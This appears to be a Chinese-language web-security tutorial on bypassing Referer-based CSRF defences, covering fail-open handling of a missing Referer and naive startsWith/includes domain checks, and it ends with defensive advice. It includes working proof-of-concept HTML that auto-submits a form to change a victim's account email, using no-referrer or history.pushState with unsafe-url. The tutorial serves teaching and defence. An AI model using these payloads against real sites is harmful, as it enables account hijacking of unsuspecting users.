部分应用通过检查 HTTP Referer 请求头,判断敏感请求是否来自本站页面。这种机制可以作为辅助防御,但不适合作为唯一的 CSRF 防线。
常见缺陷主要有两类:
Referer缺失时跳过校验;- 使用简单字符串匹配验证域名。
两类问题分别对应:
让 Referer 消失
或
让恶意 Referer 包含可信域名文本
一、Referer 防御的基本逻辑
浏览器发起请求时,通常会自动添加 Referer:
POST /account/change-email HTTP/1.1
Host: victim.example
Cookie: session=abc123
Referer: https://victim.example/settings
服务端希望同时确认:
Cookie 有效
→ 请求属于已登录用户
Referer 可信
→ 请求由本站页面触发
如果请求来自攻击页面,Referer 可能是:
Referer: https://attacker.example/exploit
服务端据此拒绝请求。
问题在于,Referer 是可选请求头,其内容还会受到浏览器和 Referrer-Policy 的影响。服务端如果错误处理"缺失状态"或错误解析 URL,防御就可能被绕过。
注意二者的拼写:
请求头:Referer
策略头:Referrer-Policy
二、绕过一:Referer 缺失时放行
1. 漏洞根因
存在漏洞的服务端逻辑通常类似:
const referer = request.headers.referer;
if (referer && !isTrusted(referer)) {
rejectRequest();
}
processRequest();
它的实际行为是:
| Referer 状态 | 处理结果 |
|---|---|
| 存在且可信 | 放行 |
| 存在但不可信 | 拒绝 |
| 不存在 | 跳过校验并放行 |
这属于典型的 Fail-open:
无法确认请求来源时,系统反而默认允许请求继续执行。
2. 攻击方式
攻击页面可以通过 Referrer Policy 要求浏览器不发送 Referer:
<meta name="referrer" content="no-referrer">
<form method="POST"
action="https://victim.example/account/change-email">
<input type="hidden"
name="email"
value="attacker@example.com">
</form>
<script>
/*
* 自动提交跨站请求。
* no-referrer 只隐藏来源信息,
* 不会主动删除目标网站的 Session Cookie。
*/
document.forms[0].submit();
</script>
最终请求可能包含认证 Cookie,但没有 Referer:
POST /account/change-email HTTP/1.1
Host: victim.example
Cookie: session=abc123
email=attacker%40example.com
完整攻击链为:
攻击页面设置 no-referrer
→ 浏览器省略 Referer
→ 服务端无法判断来源
→ 服务端错误地跳过校验
→ 请求凭借 Session Cookie获得用户身份
→ 敏感操作执行
这类漏洞的本质是:
服务端把"来源未知"错误地当成了"来源可信"。
三、绕过二:Referer 域名校验不严格
这类问题中 Referer 正常存在,但服务端没有解析 URL 的真实来源,而是进行了简单字符串匹配。
1. 错误的前缀匹配
例如:
referer.startsWith("https://victim.example")
攻击者可以使用:
https://victim.example.attacker.example/csrf
这条 URL 确实以 https://victim.example 开头,但真实主机名是:
victim.example.attacker.example
它属于攻击者控制的 attacker.example,而不是 victim.example。
2. 错误的包含匹配
例如:
referer.includes("victim.example")
攻击者只需让目标域名作为普通文本出现在 URL 中:
https://attacker.example/?victim.example
该 URL 的真实来源仍然是:
https://attacker.example
但错误的服务端逻辑会因为整条 Referer 中出现了 victim.example 而放行请求。
核心问题是:
URL 中包含可信域名文本,不代表该 URL 的 Host 就是可信域名。
四、为什么 Burp 能绕过,浏览器 PoC 却可能失败
在 Burp Repeater 中,可以手动设置完整请求头:
Referer: https://attacker.example/?victim.example
但真实浏览器在跨源请求中通常不会发送完整 URL。默认策略可能将其裁剪为:
Referer: https://attacker.example/
路径和查询字符串被删除后,victim.example 不再出现在 Referer 中,服务端的错误包含匹配也就不会通过。
因此,Referer 绕过需要同时分析:
服务端如何检查 Referer
+
浏览器实际会发送哪一部分 Referer
五、Referrer-Policy: unsafe-url 的作用
为了让浏览器发送完整 Referer,包括路径和查询字符串,攻击服务器可以返回:
Referrer-Policy: unsafe-url
假设攻击页面地址为:
https://attacker.example/?victim.example
浏览器提交表单时,就可能发送:
Referer: https://attacker.example/?victim.example
这使查询字符串中的可信域名文本能够到达服务端。
两种策略分别对应两类攻击:
| Referrer Policy | 效果 | 利用目标 |
|---|---|---|
no-referrer |
完全省略 Referer | 绕过缺失时放行 |
unsafe-url |
发送完整 URL | 绕过错误的字符串匹配 |
unsafe-url 会增加路径和查询参数泄露风险,正常网站不应随意使用。
六、history.pushState() 在攻击中的角色
history.pushState() 的作用不是伪造 Referer,也不是直接修改 HTTP 请求头。
它真正完成的是:
在不重新加载页面的情况下,修改当前攻击页面的 URL,使目标域名文本成为该页面 URL 的一部分。
例如,攻击页面最初位于:
https://attacker.example/exploit
执行:
history.pushState(
'',
'',
'/?victim.example'
);
地址栏会变为:
https://attacker.example/?victim.example
但页面不会重新加载,当前 Origin 仍然是:
https://attacker.example
随后页面提交跨站表单时,浏览器会根据当前文档 URL生成 Referer。
因此攻击逻辑分为两步:
history.pushState()
→ 把 victim.example 写入当前页面 URL
Referrer-Policy: unsafe-url
→ 要求浏览器把完整页面 URL 作为 Referer 发送
两者缺一不可。
只使用 pushState() 时,浏览器仍可能把 Referer 裁剪成:
Referer: https://attacker.example/
只设置 unsafe-url 时,如果攻击页面 URL 中没有 victim.example,服务端的包含匹配同样不会通过。
完整 Payload 如下:
<form method="POST"
action="https://victim.example/account/change-email">
<input type="hidden"
name="email"
value="attacker@example.com">
</form>
<script>
/*
* 将可信域名文本写入当前攻击页面的查询字符串。
* 页面不会重新加载,Origin 也不会改变。
*/
history.pushState(
'',
'',
'/?victim.example'
);
/*
* 提交跨站 POST。
* 攻击服务器还需要返回:
* Referrer-Policy: unsafe-url
*/
document.forms[0].submit();
</script>
浏览器最终可能发送:
POST /account/change-email HTTP/1.1
Host: victim.example
Cookie: session=abc123
Referer: https://attacker.example/?victim.example
email=attacker%40example.com
服务端如果使用:
referer.includes("victim.example")
就会错误地认为请求来自本站。
七、两类绕过的统一框架
| 漏洞类型 | 服务端错误 | 攻击方式 |
|---|---|---|
| Referer 缺失时放行 | 无来源信息时 Fail-open | 使用 no-referrer 隐藏 Referer |
| Referer 内容校验错误 | 把可信域名文本当作可信来源 | 使用 pushState() 和 unsafe-url 构造完整 Referer |
统一攻击模型是:
攻击者控制页面的 Referrer Policy 或页面 URL
→ 改变浏览器最终发送的 Referer
→ 触发服务端校验缺陷
→ 来源检查被绕过
→ 认证 Cookie 仍随请求发送
→ 敏感操作执行
需要强调,绕过 Referer 只解决来源检查问题。攻击是否最终成立,还取决于:
SameSite 是否允许 Cookie 发送
是否存在 CSRF Token
是否同时校验 Origin
敏感操作是否要求重新认证
八、防御建议
Referer 不应作为唯一的 CSRF 防御。
状态修改接口应优先使用:
会话绑定的 CSRF Token
+ 精确 Origin 校验
+ 显式 SameSite
如果继续使用 Referer,应遵循两项原则。
第一,缺失时拒绝:
if (!referer) {
rejectRequest();
}
第二,解析 URL 后精确比较 Origin:
const refererUrl = new URL(referer);
if (refererUrl.origin !== "https://victim.example") {
rejectRequest();
}
不要使用:
referer.includes("victim.example");
referer.startsWith("https://victim.example");
对于修改密码、绑定邮箱、支付信息等高风险操作,还应要求当前密码、重新认证或多因素确认。
九、结论
Referer 型 CSRF 防御主要有两个失败面:
Referer 缺失时如何处理
+
Referer 内容如何验证
对应的攻击方法是:
no-referrer
→ 让来源信息完全消失
history.pushState() + unsafe-url
→ 让恶意来源中携带可信域名文本
其中,history.pushState() 只负责修改当前页面 URL,unsafe-url 才负责让浏览器发送完整 URL。二者配合后,攻击者才能把目标域名文本送入 Referer,从而触发服务端的错误包含匹配。
可靠的防御不应依赖 Referer 字符串,而应以 CSRF Token 和精确 Origin 校验为核心。